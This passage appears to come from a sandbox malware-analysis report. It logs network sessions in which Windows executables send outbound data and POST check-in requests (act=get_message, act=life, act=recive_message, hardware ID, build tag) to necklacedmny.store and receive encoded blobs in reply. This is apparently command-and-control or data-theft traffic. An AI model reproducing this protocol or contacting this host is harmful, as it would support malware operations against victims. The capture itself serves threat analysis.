2024-10-31 00:18:25 UTC	15331	OUT	Data Raw: 11 89 1f da b0 09 6c 7e 56 02 db 41 b2 5f 99 a6 27 c4 ee 0d 4e 6d cc 83 50 4e b2 60 ee 7e 69 40 69 30 bb a5 db 39 c2 6c 1c 6a 48 7c 84 e4 b2 57 9b 89 65 d1 ec 73 3f 00 7e ae 5a e3 a0 1a d5 c7 3f ea 25 bb 5d 79 79 57 42 06 94 21 50 82 29 e9 56 61 59 43 24 d6 a3 3b 92 1a ec 13 02 b3 45 d5 47 59 86 06 57 5f aa 3d 40 52 45 3a 5f 6d 61 0b ab f7 6f 0c c5 8e 69 1d d6 1d 1b 12 26 48 d1 f7 49 df 85 32 88 1b af 29 02 13 ae 02 63 0a 58 4e 6e e1 90 f6 68 47 cd e9 60 27 1d 22 1e 68 6a 08 ff c5 4b c1 9f 1e 14 7c 12 c9 37 47 e4 84 29 6f d2 83 d8 e6 ec f4 e5 90 98 9a f7 a9 12 cd 28 2c e1 31 b5 52 35 b4 f9 96 d6 d3 88 62 bd 48 c1 b6 a0 6f 3e 1f 82 16 39 81 a7 36 ce fe 87 d4 2c 53 d8 28 2f 26 52 a7 5b 47 93 6e 65 ff 6e b1 2e 9c 5f b1 dc 3b 74 3d df 50 27 8c f1 e5 11 9f e6 Data Ascii: l~VA_'NmPN`~i@i09ljH\|Wes?~Z?%]yyWB!P)VaYC$;EGYW_=@RE:_maoi&HI2)cXNnhG`'"hjK\|7G)o(,1R5bHo>96,S(/&R[Gnen._;t=P'
2024-10-31 00:18:25 UTC	15331	OUT	Data Raw: f9 db 40 52 ac 78 e6 3d ba e4 7f 8d d2 1d 31 b0 a3 b4 ce ff 87 26 1e 46 55 7e 4a 28 8e df 95 dc a0 7a d7 34 38 ad b0 2a 73 1f ce 2a 85 51 b1 2a 10 e3 e0 3b 8e ef e8 a1 f5 f4 d3 85 ea f8 6b 34 ad 29 ed 57 f3 4f d6 c8 e1 f0 92 e9 b4 c2 c1 16 f3 20 46 73 d1 b1 f5 89 73 df b9 51 c6 d1 00 84 15 bd fc 56 e3 fa bf a3 f2 eb 08 ba 34 61 40 1c c0 70 f8 ce 04 69 af 76 ac 33 f5 1d 20 f3 b2 8f 25 a7 a6 c0 f8 cd 45 59 cd 82 5f fc f4 c0 7f 4e 91 3e 87 25 85 a8 8b 46 30 ac 24 c8 4e c4 b9 76 53 54 77 24 fd 2c 2a d5 8f 8d ff 83 ee 8f 02 5b a2 ec 76 29 c9 80 8e ba d3 ab 4a 0a ff 9c 49 8d 63 9e 76 f8 19 29 2c 73 40 f0 9b a2 7c 3a d5 7f fb 74 c5 b8 11 9a cb 56 d3 b6 2c 41 ce 81 ea 5e 7c da 0d b4 60 eb 18 bd b5 0c 48 ad a2 27 cd fa 53 bc 49 2d bc bf 4f d7 b8 a8 2e 35 e9 51 75 Data Ascii: @Rx=1&FU~J(z48sQ;k4)WO FssQV4a@piv3 %EY_N>%F0$NvSTw$,[v)JIcv),s@\|:tV,A^\|`H'SI-O.5Qu
2024-10-31 00:18:25 UTC	15331	OUT	Data Raw: 66 33 c8 9d 98 ab fe b0 ee f3 0d ca 59 66 e3 98 1f 27 9f 9f 08 c3 02 05 fa 90 60 ac 91 6c a6 fc b0 c2 73 7a 09 16 df 98 a3 b9 e6 2e 94 28 85 73 92 3a 06 ac b0 64 cc dc e1 86 a1 36 e8 6d ed bd 09 87 58 83 b6 9d 5e 34 bb d6 0e b1 3d 15 dd e2 b0 13 0b 42 e4 fc b2 09 67 93 68 aa ae 46 c9 f6 52 c0 9c a5 6c f0 34 5b 48 94 90 a9 b3 79 eb a4 07 b8 68 99 59 b6 24 0a b8 4e f7 7b d7 48 23 7d a0 37 63 93 e5 fa 36 84 fa 3a 55 13 ca 30 35 d6 df c6 2f 17 91 0b 2e 04 7d f9 21 7c 53 69 1f eb e7 23 2a 2a 4a fd 00 cf 16 9a dd be 33 a0 88 a9 52 79 15 a5 fb 0b c5 5f 10 3b 82 47 54 7d 90 82 51 91 d1 71 3a 22 27 76 52 32 1c 0a 07 fb a3 46 aa 02 c0 be 09 36 0f d8 c3 e2 fe b3 f8 e4 02 ee 76 4e b3 27 32 9f f0 ef 8c bb be c6 18 1a 5b ae 1e ed e7 17 e2 8c 73 f2 5b 0e 6c 23 83 d6 92 Data Ascii: f3Yf'`lsz.(s:d6mX^4=BghFRl4[HyhY$N{H#}7c6:U05/.}!\|Si#**J3Ry_;GT}Qq:"'vR2F6vN'2[s[l#
2024-10-31 00:18:27 UTC	1029	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 00:18:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=jmlgukkih6s9hn09j30quj6ffs; expires=Sun, 23-Feb-2025 18:05:06 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=z3YLii3%2B%2Fc3T1oEWiuRjGiVDJpvJleS5MsMUYGvy7fxvjBu6YZRglUSzoKt8dhEHQ%2BNLYSZVH1Mji%2BEwNdWy39%2BIGLUKgzQYrR3cKa%2Fnrqdep46avDyP9sX%2BGyvJj0z3OmL0a9s%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8daf77bd78b2e91a-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1385&sent=213&recv=609&lost=0&retrans=0&sent_bytes=2845&recv_bytes=574743&delivery_rate=2028011&cwnd=251&unsent_bytes=0&cid=3ecc3247ac135dee&ts=1828&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	49789	188.114.97.3	443	1048	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 00:18:28 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 87 Host: necklacedmny.store
2024-10-31 00:18:28 UTC	87	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d 26 68 77 69 64 3d 39 30 30 42 39 42 35 43 33 39 44 31 46 32 31 30 34 32 34 41 34 38 36 33 41 43 44 34 31 34 43 32 Data Ascii: act=get_message&ver=4.0&lid=4SD0y4--legendaryy&j=&hwid=900B9B5C39D1F210424A4863ACD414C2
2024-10-31 00:18:28 UTC	1015	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 00:18:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=dlitmcssqimo84pl4pvhoa0cp9; expires=Sun, 23-Feb-2025 18:05:07 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=4ilGjsVZvnKoGrRZf5VObzU3wbQpHyjKz2fgKTuLZOKK9ecN8%2BPScXQGyGDyVvD9URXfOcz1Y1z1gQcVEyhQN9AtHLFv8%2FoExR4rbT1ArYDlvmWm%2BLlYMyIlG4%2BmiUCWxURoUb0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8daf77cd9fa02e4f-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1068&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=989&delivery_rate=2701492&cwnd=248&unsent_bytes=0&cid=80e1c5e78d490cb4&ts=790&x=0"
2024-10-31 00:18:28 UTC	214	IN	Data Raw: 64 30 0d 0a 35 38 49 51 76 4c 45 42 75 65 67 6f 64 56 70 63 34 49 54 70 42 7a 71 48 71 64 68 50 71 71 36 32 68 50 6e 65 30 36 51 44 51 38 53 38 75 54 4c 4a 6b 7a 75 62 67 46 77 42 4b 6d 61 38 71 37 55 6f 43 37 2b 63 39 6e 32 62 6d 35 69 31 79 4f 33 39 6c 54 55 66 36 34 69 6b 64 75 43 65 5a 64 79 4f 42 68 41 69 4f 63 4b 6f 79 32 46 4f 70 5a 50 6f 59 34 6a 4c 6c 4c 37 4a 6f 2f 2f 66 49 54 62 6d 33 65 42 34 79 4d 56 78 67 37 51 48 4b 58 56 74 32 4c 48 48 4e 51 75 79 68 2b 6c 2b 6d 59 43 48 73 71 58 78 76 73 31 74 4a 70 6a 49 73 48 48 53 31 57 37 55 78 6b 30 4e 50 33 37 4d 70 6f 39 7a 47 4c 32 5a 39 47 33 50 6a 49 79 30 68 49 4d 3d 0d 0a Data Ascii: d058IQvLEBuegodVpc4ITpBzqHqdhPqq62hPne06QDQ8S8uTLJkzubgFwBKma8q7UoC7+c9n2bm5i1yO39lTUf64ikduCeZdyOBhAiOcKoy2FOpZPoY4jLlL7Jo//fITbm3eB4yMVxg7QHKXVt2LHHNQuyh+l+mYCHsqXxvs1tJpjIsHHS1W7Uxk0NP37Mpo9zGL2Z9G3PjIy0hIM=
2024-10-31 00:18:28 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.6	49997	188.114.97.3	443	364	C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 00:19:19 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: necklacedmny.store
2024-10-31 00:19:19 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-10-31 00:19:20 UTC	1017	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 00:19:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=e01a9gtjvc8qaeptpfhv64a5jt; expires=Sun, 23-Feb-2025 18:05:59 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=pgJB4Jk1TruQV%2BhU9xP2xs8xe6m4mXMGlstNJ4qHt7UJOuuDY0Y6YNCCs5OFrm7i%2Fps3cnuAzU%2Bjwo7%2FOZZnByg6%2BNUtTCkr10hSzoE5dxN9br6kv0cJTKRWEa1t3HxOCEk7vn8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8daf7910cec2358d-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1523&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=909&delivery_rate=2578806&cwnd=251&unsent_bytes=0&cid=2cdbf08b2d62cf95&ts=537&x=0"
2024-10-31 00:19:20 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-10-31 00:19:20 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.6	49999	188.114.97.3	443	364	C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 00:19:20 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 52 Host: necklacedmny.store
2024-10-31 00:19:20 UTC	52	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=4SD0y4--legendaryy&j=
2024-10-31 00:19:21 UTC	1012	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 00:19:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=amf46uph1mj4id52ppdgi7tpko; expires=Sun, 23-Feb-2025 18:06:00 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=xnlB4QfdFj7IMteDXHpR7cTe9Z05DlATZuJpxu3hqW7%2F3BAhdWlkzS%2F5280nMdjqLt9curnHv8401jJsMFySSPUkKOLaQLw9PbI%2Fsz1HMu1Yt7iLTI8YAYD3Ne5xuPYxu84bpDM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8daf7917ec270bbe-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1363&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=954&delivery_rate=1939718&cwnd=32&unsent_bytes=0&cid=5694965ebea94c38&ts=431&x=0"
2024-10-31 00:19:21 UTC	357	IN	Data Raw: 34 64 39 0d 0a 34 47 53 36 49 51 46 6b 74 76 31 42 76 57 52 56 4b 2b 35 56 77 52 7a 73 52 36 4e 38 6d 6c 35 2f 54 39 62 33 48 31 77 61 7a 66 6d 62 52 73 77 44 4f 31 43 61 33 7a 4c 59 52 6d 39 66 6e 43 43 6b 4d 4d 34 6d 78 31 36 67 4f 42 34 6a 70 5a 49 7a 66 6d 79 67 32 39 6f 43 32 30 31 79 41 5a 72 66 4a 4d 56 47 62 33 43 56 64 36 52 79 7a 6e 32 42 47 66 41 38 48 69 4f 30 6c 6e 51 7a 61 71 47 61 69 41 6a 64 53 57 51 48 30 70 77 74 30 41 45 77 54 6f 38 2f 72 33 57 42 4c 38 35 65 74 6e 77 61 4e 66 54 4e 50 52 46 2f 75 5a 69 74 42 63 6c 4b 49 78 6d 61 68 6d 50 59 43 6e 63 52 7a 44 53 6b 66 6f 41 68 78 78 66 79 4e 68 63 72 74 5a 4e 31 4c 48 4f 72 6b 59 67 47 33 6b 68 75 44 73 61 52 4a 39 63 4b 4e 6b 53 50 64 2b 30 2b 69 54 32 42 52 72 68 76 4c 79 36 6c 68 47 Data Ascii: 4d94GS6IQFktv1BvWRVK+5VwRzsR6N8ml5/T9b3H1wazfmbRswDO1Ca3zLYRm9fnCCkMM4mx16gOB4jpZIzfmyg29oC201yAZrfJMVGb3CVd6Ryzn2BGfA8HiO0lnQzaqGaiAjdSWQH0pwt0AEwTo8/r3WBL85etnwaNfTNPRF/uZitBclKIxmahmPYCncRzDSkfoAhxxfyNhcrtZN1LHOrkYgG3khuDsaRJ9cKNkSPd+0+iT2BRrhvLy6lhG
2024-10-31 00:19:21 UTC	891	IN	Data Raw: 4b 39 51 4e 4d 6c 75 48 50 71 35 7a 6a 69 6a 4c 45 66 73 38 47 69 65 2b 6d 6e 63 36 64 61 4b 64 67 67 61 59 44 53 4d 42 7a 4e 39 37 6e 79 55 79 57 59 73 37 74 54 79 30 5a 64 35 51 34 58 77 61 49 66 54 4e 50 54 5a 39 72 4a 69 4a 43 64 74 4c 61 42 54 55 6a 53 58 53 41 79 56 50 69 54 6d 70 66 5a 77 76 7a 78 6a 37 4e 52 59 6b 73 5a 4a 35 66 6a 62 76 6e 4a 70 47 67 41 4e 43 43 39 2b 54 4b 63 67 47 64 31 62 43 4c 75 4e 35 67 6d 57 5a 58 76 77 39 47 53 79 77 6d 33 4d 36 64 4b 6d 56 6a 77 6e 65 53 57 4d 42 33 70 63 72 33 67 73 38 52 6f 77 79 72 6e 71 49 4b 63 41 62 75 48 4a 64 4b 71 7a 56 4a 58 35 57 71 4a 69 51 52 4f 31 41 62 51 6a 54 69 57 50 41 53 43 34 4a 69 7a 76 6a 4a 73 34 72 78 42 48 71 50 51 38 6f 75 6f 64 78 4f 33 36 69 6d 49 77 47 33 55 52 75 43 4e 4b Data Ascii: K9QNMluHPq5zjijLEfs8Gie+mnc6daKdggaYDSMBzN97nyUyWYs7tTy0Zd5Q4XwaIfTNPTZ9rJiJCdtLaBTUjSXSAyVPiTmpfZwvzxj7NRYksZJ5fjbvnJpGgANCC9+TKcgGd1bCLuN5gmWZXvw9GSywm3M6dKmVjwneSWMB3pcr3gs8RowyrnqIKcAbuHJdKqzVJX5WqJiQRO1AbQjTiWPASC4JizvjJs4rxBHqPQ8ouodxO36imIwG3URuCNK
2024-10-31 00:19:21 UTC	1369	IN	Data Raw: 33 66 39 33 0d 0a 30 64 6e 43 39 75 57 4b 74 59 55 50 55 57 43 4a 61 35 30 69 79 76 4e 47 2f 63 38 48 43 79 36 6e 33 5a 2b 4e 75 2b 63 6d 6b 61 41 41 30 77 4c 78 49 30 70 31 42 64 31 66 49 38 35 72 58 6d 59 5a 64 35 51 34 58 77 61 49 66 54 4e 50 54 56 2b 6f 35 65 43 41 4d 70 4e 62 42 54 65 6a 53 66 52 41 6a 74 48 68 54 71 73 65 35 77 68 77 51 7a 35 4f 52 6f 6a 75 59 64 34 66 6a 62 76 6e 4a 70 47 67 41 4e 5a 4d 74 4f 50 4d 74 68 45 41 6b 71 43 4f 61 52 6f 7a 6a 71 50 42 37 67 37 45 57 33 73 31 58 34 79 64 61 61 65 6a 52 54 53 54 32 49 55 30 35 59 71 31 51 63 35 52 6f 63 37 70 6d 79 46 4b 73 6b 52 2b 54 45 51 4a 72 43 56 50 58 41 34 71 49 50 43 58 70 68 69 62 67 6e 47 6e 44 4b 64 4d 7a 52 48 67 6a 43 31 50 70 46 72 32 46 37 2f 4d 46 31 31 39 4a 52 78 4d 6e Data Ascii: 3f930dnC9uWKtYUPUWCJa50iyvNG/c8HCy6n3Z+Nu+cmkaAA0wLxI0p1Bd1fI85rXmYZd5Q4XwaIfTNPTV+o5eCAMpNbBTejSfRAjtHhTqse5whwQz5ORojuYd4fjbvnJpGgANZMtOPMthEAkqCOaRozjqPB7g7EW3s1X4ydaaejRTST2IU05Yq1Qc5Roc7pmyFKskR+TEQJrCVPXA4qIPCXphibgnGnDKdMzRHgjC1PpFr2F7/MF119JRxMn
2024-10-31 00:19:21 UTC	1369	IN	Data Raw: 44 64 39 49 61 41 4c 51 6e 79 37 55 43 44 6c 41 67 44 2b 76 65 5a 77 6f 78 42 62 79 4e 52 67 68 75 5a 5a 76 50 58 6e 76 31 63 49 42 77 41 4d 37 52 76 4f 73 46 50 78 47 4b 41 65 56 64 36 52 79 7a 6e 32 42 48 2f 41 37 45 79 6d 6d 6d 32 38 77 66 36 2b 64 69 67 37 66 54 32 30 49 78 70 63 69 33 77 67 34 51 59 55 7a 6f 6e 71 4b 4b 63 5a 65 74 6e 77 61 4e 66 54 4e 50 52 5a 37 74 59 48 41 4b 4e 4e 44 5a 42 62 43 68 47 50 41 53 43 34 4a 69 7a 76 6a 4a 73 34 68 79 68 54 78 50 78 51 70 75 5a 56 30 4d 58 47 6e 6c 6f 6f 55 32 55 6c 78 41 74 47 65 4c 4e 55 43 50 30 57 44 4f 36 64 73 68 57 57 50 58 76 38 6b 58 58 58 30 74 58 59 6f 57 37 32 4a 77 68 6d 57 57 69 4d 42 32 4e 39 37 6e 77 38 37 53 49 30 39 70 58 57 4c 4b 4d 45 62 38 6a 73 52 4c 62 53 57 65 7a 68 31 70 35 4f Data Ascii: Dd9IaALQny7UCDlAgD+veZwoxBbyNRghuZZvPXnv1cIBwAM7RvOsFPxGKAeVd6Ryzn2BH/A7Eymmm28wf6+dig7fT20Ixpci3wg4QYUzonqKKcZetnwaNfTNPRZ7tYHAKNNDZBbChGPASC4JizvjJs4hyhTxPxQpuZV0MXGnlooU2UlxAtGeLNUCP0WDO6dshWWPXv8kXXX0tXYoW72JwhmWWiMB2N97nw87SI09pXWLKMEb8jsRLbSWezh1p5O
2024-10-31 00:19:21 UTC	1369	IN	Data Raw: 32 77 44 33 4a 51 6c 30 51 63 78 52 59 46 33 37 54 36 4a 50 59 46 47 75 42 73 48 49 4c 4b 43 62 41 74 2f 72 38 72 43 47 5a 5a 61 49 77 48 59 33 33 75 66 43 7a 74 44 67 54 4b 6e 64 6f 6b 6d 77 42 4c 38 4d 52 41 70 76 5a 46 34 4c 47 71 70 6c 59 49 4a 31 6b 78 76 46 4e 71 61 49 39 4e 47 65 51 6d 4c 4c 2b 4d 6d 7a 68 54 57 48 72 67 6a 55 7a 54 30 6b 6e 46 2b 49 4f 2b 55 6a 78 54 55 54 47 4d 48 31 35 73 6f 32 41 41 78 53 49 38 79 6f 48 75 49 4a 4d 45 53 38 6a 73 56 4a 37 71 59 65 7a 70 2b 71 64 76 4d 52 74 39 62 49 31 36 55 72 53 37 52 44 7a 52 50 67 53 47 4c 54 38 34 36 6a 77 65 34 4f 78 46 74 37 4e 56 35 4e 58 43 6a 6e 6f 6f 44 32 55 74 70 44 74 75 51 4d 64 34 4a 50 6b 36 48 4f 71 78 77 69 79 76 54 47 66 4d 33 46 53 53 36 6b 7a 31 77 4f 4b 69 44 77 6c 36 59 Data Ascii: 2wD3JQl0QcxRYF37T6JPYFGuBsHILKCbAt/r8rCGZZaIwHY33ufCztDgTKndokmwBL8MRApvZF4LGqplYIJ1kxvFNqaI9NGeQmLL+MmzhTWHrgjUzT0knF+IO+UjxTUTGMH15so2AAxSI8yoHuIJMES8jsVJ7qYezp+qdvMRt9bI16UrS7RDzRPgSGLT846jwe4OxFt7NV5NXCjnooD2UtpDtuQMd4JPk6HOqxwiyvTGfM3FSS6kz1wOKiDwl6Y
2024-10-31 00:19:21 UTC	1369	IN	Data Raw: 79 59 4b 39 73 49 4a 55 69 44 64 2b 30 2b 69 54 32 42 52 72 67 4e 43 79 71 7a 6d 6a 38 58 66 37 53 61 69 41 58 54 54 79 4d 5a 6d 6f 5a 6a 32 41 70 33 45 63 77 36 72 33 4f 4b 4e 38 30 65 2b 44 55 61 4a 36 61 61 63 6a 4e 37 72 35 36 51 42 38 70 4d 61 41 50 58 6d 79 7a 51 43 6a 39 44 7a 48 6e 6a 65 5a 5a 6c 6d 56 37 55 50 77 77 6e 39 72 4a 6e 4b 48 2b 6a 69 6f 6b 4c 31 41 4e 38 53 4d 33 66 4a 4e 4e 47 62 77 6d 4d 4e 71 35 73 69 79 54 4c 46 50 55 30 45 69 69 78 6d 6e 6b 36 63 36 47 4a 6a 41 6e 59 52 57 67 48 30 5a 77 6f 31 51 67 2b 57 38 78 35 34 33 6d 57 5a 5a 6c 65 30 69 63 63 49 4c 6a 58 55 7a 56 75 71 4e 6d 6a 43 4e 4e 45 62 78 43 55 67 47 33 47 52 6a 42 46 7a 47 2f 6a 64 34 41 70 77 68 6e 77 4e 42 67 74 76 35 56 79 4e 48 61 6f 69 59 67 4b 30 6c 46 73 42 Data Ascii: yYK9sIJUiDd+0+iT2BRrgNCyqzmj8Xf7SaiAXTTyMZmoZj2Ap3Ecw6r3OKN80e+DUaJ6aacjN7r56QB8pMaAPXmyzQCj9DzHnjeZZlmV7UPwwn9rJnKH+jiokL1AN8SM3fJNNGbwmMNq5siyTLFPU0Eiixmnk6c6GJjAnYRWgH0Zwo1Qg+W8x543mWZZle0iccILjXUzVuqNmjCNNEbxCUgG3GRjBFzG/jd4ApwhnwNBgtv5VyNHaoiYgK0lFsB
2024-10-31 00:19:21 UTC	1369	IN	Data Raw: 41 53 43 34 4a 69 7a 76 6a 4a 73 34 6c 78 52 4c 37 4f 78 4d 69 75 5a 70 36 4e 58 65 6c 6c 5a 41 4a 33 55 74 76 44 74 6d 4e 4b 64 55 55 50 6b 43 42 4f 61 74 73 6a 57 57 50 58 76 38 6b 58 58 58 30 70 33 63 39 64 4c 6d 57 6a 55 62 48 44 58 70 47 30 35 4e 6a 68 30 59 6c 57 34 77 38 6f 33 6d 41 4e 38 41 57 39 7a 59 64 4b 37 2b 66 66 6a 64 38 6f 5a 4b 45 42 39 56 43 59 67 62 52 6e 79 72 4e 43 33 63 48 7a 44 43 37 50 74 5a 6c 39 68 4c 7a 44 52 34 37 39 49 6f 7a 4a 7a 69 6f 6c 38 4a 65 6d 45 4a 78 43 39 79 62 49 39 49 41 50 45 69 4e 4e 4b 4e 2b 6a 53 58 45 46 66 63 36 47 69 43 2b 6e 48 51 73 63 4b 75 4a 67 67 72 63 41 79 31 47 30 34 64 6a 68 30 59 48 53 6f 63 37 6f 33 4f 62 5a 64 35 51 34 58 77 61 49 66 54 4e 50 54 5a 7a 70 4a 32 4a 42 64 74 4e 61 41 7a 62 6b 43 Data Ascii: ASC4JizvjJs4lxRL7OxMiuZp6NXellZAJ3UtvDtmNKdUUPkCBOatsjWWPXv8kXXX0p3c9dLmWjUbHDXpG05Njh0YlW4w8o3mAN8AW9zYdK7+ffjd8oZKEB9VCYgbRnyrNC3cHzDC7PtZl9hLzDR479IozJziol8JemEJxC9ybI9IAPEiNNKN+jSXEFfc6GiC+nHQscKuJggrcAy1G04djh0YHSoc7o3ObZd5Q4XwaIfTNPTZzpJ2JBdtNaAzbkC
2024-10-31 00:19:21 UTC	1369	IN	Data Raw: 58 34 30 36 71 48 4c 4d 4a 4d 77 4f 2f 33 78 54 62 62 4c 56 4a 57 34 32 37 35 2b 54 52 6f 41 54 4d 56 32 42 7a 48 53 50 56 43 67 48 6c 58 65 31 50 74 5a 33 6a 31 37 71 66 45 56 74 38 35 5a 76 4c 48 36 73 6a 59 46 42 35 6e 31 44 44 64 69 63 4c 39 34 42 64 77 66 4d 4f 4f 4d 6d 74 32 58 43 44 4f 70 7a 44 44 75 35 68 58 70 79 63 4c 36 57 6a 6b 61 57 41 79 38 43 33 35 4d 6d 32 42 5a 34 57 35 77 38 72 32 6a 43 49 64 4e 65 74 6e 77 4d 4a 72 75 48 63 7a 6b 33 76 6f 32 50 46 74 74 47 5a 45 72 63 6a 69 37 54 52 6e 6b 4a 6d 54 79 76 65 49 4d 77 6a 67 2f 75 50 77 73 71 2b 4a 31 73 4d 33 54 76 70 4d 78 47 77 41 4d 37 52 75 47 63 4c 64 45 42 49 56 6a 42 46 36 68 79 6a 53 6e 41 47 62 68 79 58 53 76 30 7a 53 35 77 4f 4b 75 4b 77 6c 36 49 45 54 68 54 68 38 68 7a 6a 52 6c Data Ascii: X406qHLMJMwO/3xTbbLVJW4275+TRoATMV2BzHSPVCgHlXe1PtZ3j17qfEVt85ZvLH6sjYFB5n1DDdicL94BdwfMOOMmt2XCDOpzDDu5hXpycL6WjkaWAy8C35Mm2BZ4W5w8r2jCIdNetnwMJruHczk3vo2PFttGZErcji7TRnkJmTyveIMwjg/uPwsq+J1sM3TvpMxGwAM7RuGcLdEBIVjBF6hyjSnAGbhyXSv0zS5wOKuKwl6IEThTh8hzjRl
2024-10-31 00:19:21 UTC	1369	IN	Data Raw: 37 55 2b 31 6e 61 50 58 75 70 38 52 57 33 7a 6d 33 41 2f 65 36 47 59 6b 42 54 65 51 48 55 46 6b 36 45 64 2b 67 73 36 54 49 49 77 6e 55 43 76 4c 39 45 54 39 7a 73 6a 45 34 4f 45 65 69 34 36 69 5a 69 55 42 5a 67 4e 49 78 36 55 78 32 50 2b 44 43 64 45 67 7a 44 6a 4d 4d 34 68 67 55 61 34 47 52 41 67 73 5a 74 36 66 46 6d 6c 69 34 38 4a 33 77 4d 74 52 74 6a 66 65 35 38 48 50 56 6d 42 4f 4b 51 79 69 54 2f 47 58 72 5a 38 45 32 33 73 31 58 77 30 61 4b 4b 55 68 55 72 65 54 57 31 47 79 39 45 36 6e 78 42 33 45 64 39 35 34 32 7a 4f 66 59 46 5a 39 6a 45 63 4c 72 71 57 62 79 78 2b 72 49 32 42 51 65 5a 39 52 67 76 5a 6d 69 33 59 4f 41 6c 6f 68 69 65 75 63 59 6c 6e 34 52 6e 75 50 79 4d 54 67 34 52 36 4c 6a 71 4a 6d 4a 51 46 6d 41 30 6a 48 70 54 48 59 2f 34 4d 4a 30 53 44 Data Ascii: 7U+1naPXup8RW3zm3A/e6GYkBTeQHUFk6Ed+gs6TIIwnUCvL9ET9zsjE4OEei46iZiUBZgNIx6Ux2P+DCdEgzDjMM4hgUa4GRAgsZt6fFmli48J3wMtRtjfe58HPVmBOKQyiT/GXrZ8E23s1Xw0aKKUhUreTW1Gy9E6nxB3Ed9542zOfYFZ9jEcLrqWbyx+rI2BQeZ9RgvZmi3YOAlohieucYln4RnuPyMTg4R6LjqJmJQFmA0jHpTHY/4MJ0SD

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
